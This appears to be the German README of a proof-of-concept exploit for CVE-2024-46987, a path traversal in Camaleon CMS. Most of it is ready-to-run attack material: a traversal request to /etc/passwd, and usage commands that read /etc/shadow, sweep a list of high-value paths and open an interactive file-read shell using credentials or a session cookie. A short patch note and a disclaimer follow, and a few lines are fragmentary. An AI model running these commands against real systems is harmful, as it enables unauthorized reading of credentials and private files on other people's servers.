
PoC-Exploit für CVE-2024-46987 — Camaleon CMS beliebiger Pfad-Traversal (Dateilesen)
| Feld | Details |
|---|
| CVE | CVE-2024-46987 |
| Produkt | Camaleon CMS |
| Versionen | >= 2.8.0, < 2.8.2 (auch bestätigt auf 2.9.0) |
| Typ | Pfad-Traversal / Beliebiger Dateizugriff (CWE-22) |
| Authentifizierung | Erforderlich (beliebiges Konto mit niedrigen Berechtigungen) |
| CVSS | 7.7 Hoch — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Behoben in | 2.8.2 |
MediaController#download_private_file übergibt params[:file] unbereinigt an fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
Es wird keine Pfadnormalisierung angewendet, bevor der Wert mit send_file verwendet wird, sodass ein authentifizierter Angreifer mit ../-Sequenzen aus dem private/-Verzeichnis ausbrechen und beliebige Dateien lesen kann, auf die der Rails-Prozess Zugriff hat.
Verwundbarer Endpunkt:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requests-Bibliothekpip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Flag | Beschreibung |
|---|---|
-u | Ziel-Basis-URL |
-U / -P | CMS-Benutzername und -Passwort |
--cookie | Roher Cookie-String (Alternative zu Anmeldedaten) |
-f | Dateipfad zum Lesen (Standard: /etc/passwd) |
-d | Traversal-Tiefe – Anzahl der vorangestellten ../ (Standard: 10) |
--interesting | Iteriert über integrierte Liste hochwertiger Pfade |
--interactive | Interaktive Datei-Lese-Shell |
--no-verify | TLS-Zertifikatsprüfung deaktivieren |
--debug | Ausführliche Ausgabe zur Diagnose von Authentifizierungsfehlern |
/proc-Pseudo-DateienDateien unter /proc/self/ (z. B. environ, cmdline) geben HTTP 200 zurück, jedoch mit leerem Inhalt. Dies ist zu erwarten – der Kernel meldet ihre Größe als 0, daher streamt Rails' send_file nichts. Verwenden Sie stattdessen normale Dateien.
Aktualisieren Sie Camaleon CMS auf Version 2.8.2 oder höher. Der Patch fügt eine ordnungsgemäße Pfadnormalisierung hinzu und stellt sicher, dass der aufgelöste Pfad vor dem Aufruf von send_file im vorgesehenen Verzeichnis bleibt.
Alternativ:
..-Sequenzen enthält.Dieses Proof-of-Concept wird zu Bildungszwecken veröffentlicht und um Sicherheitsexperten dabei zu helfen, die Schwachstelle in autorisierten Testumgebungen zu verstehen und nachzuvollziehen. Der Autor übernimmt keine Verantwortung für Missbrauch. Holen Sie stets eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.